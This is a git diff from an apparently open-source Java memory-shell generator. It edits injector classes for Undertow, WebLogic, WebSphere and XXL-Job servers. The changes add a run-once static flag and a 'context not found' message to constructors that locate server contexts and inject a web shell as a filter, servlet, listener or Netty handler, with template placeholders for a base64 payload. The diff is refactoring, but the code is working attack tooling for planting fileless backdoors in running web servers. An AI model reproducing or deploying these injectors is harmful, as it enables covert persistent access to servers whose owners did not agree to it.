@@ -20,18 +20,32 @@ import java.util.zip.GZIPInputStream;
 public class UndertowListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
 
     public UndertowListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -40,6 +54,7 @@ public class UndertowListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -60,14 +75,6 @@ public class UndertowListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
 public class UndertowServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -34,16 +35,21 @@ public class UndertowServletInjector {
     }
 
     public UndertowServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +58,7 @@ public class UndertowServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class WebLogicFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class WebLogicFilterInjector {
     }
 
     public WebLogicFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class WebLogicFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
 public class WebLogicListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -30,16 +31,21 @@ public class WebLogicListenerInjector {
     }
 
     public WebLogicListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -48,6 +54,7 @@ public class WebLogicListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -21,6 +21,7 @@ import java.util.zip.GZIPInputStream;
 public class WebLogicServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -35,16 +36,21 @@ public class WebLogicServletInjector {
     }
 
     public WebLogicServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -53,6 +59,7 @@ public class WebLogicServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -8,9 +8,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -24,6 +22,7 @@ import java.util.zip.GZIPInputStream;
 public class WebSphereFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -38,16 +37,21 @@ public class WebSphereFilterInjector {
     }
 
     public WebSphereFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -56,6 +60,7 @@ public class WebSphereFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
 public class WebSphereListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -28,16 +29,21 @@ public class WebSphereListenerInjector {
     }
 
     public WebSphereListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -46,6 +52,7 @@ public class WebSphereListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class WebSphereServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -29,16 +30,21 @@ public class WebSphereServletInjector {
         return "{{base64Str}}";
     }
     public WebSphereServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -47,6 +53,7 @@ public class WebSphereServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java

@@ -28,6 +28,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -38,12 +39,16 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
     }
 
     public XxlJobNettyHandlerInjector() {
+        if (ok) {
+            return;
+        }
         try {
             inject();
             msg += "[/*] ready\n";
         } catch (Throwable e) {
             msg += "failed " + getErrorMessage(e) + "\n";
         }
+        ok = true;
         System.out.println(msg);
     }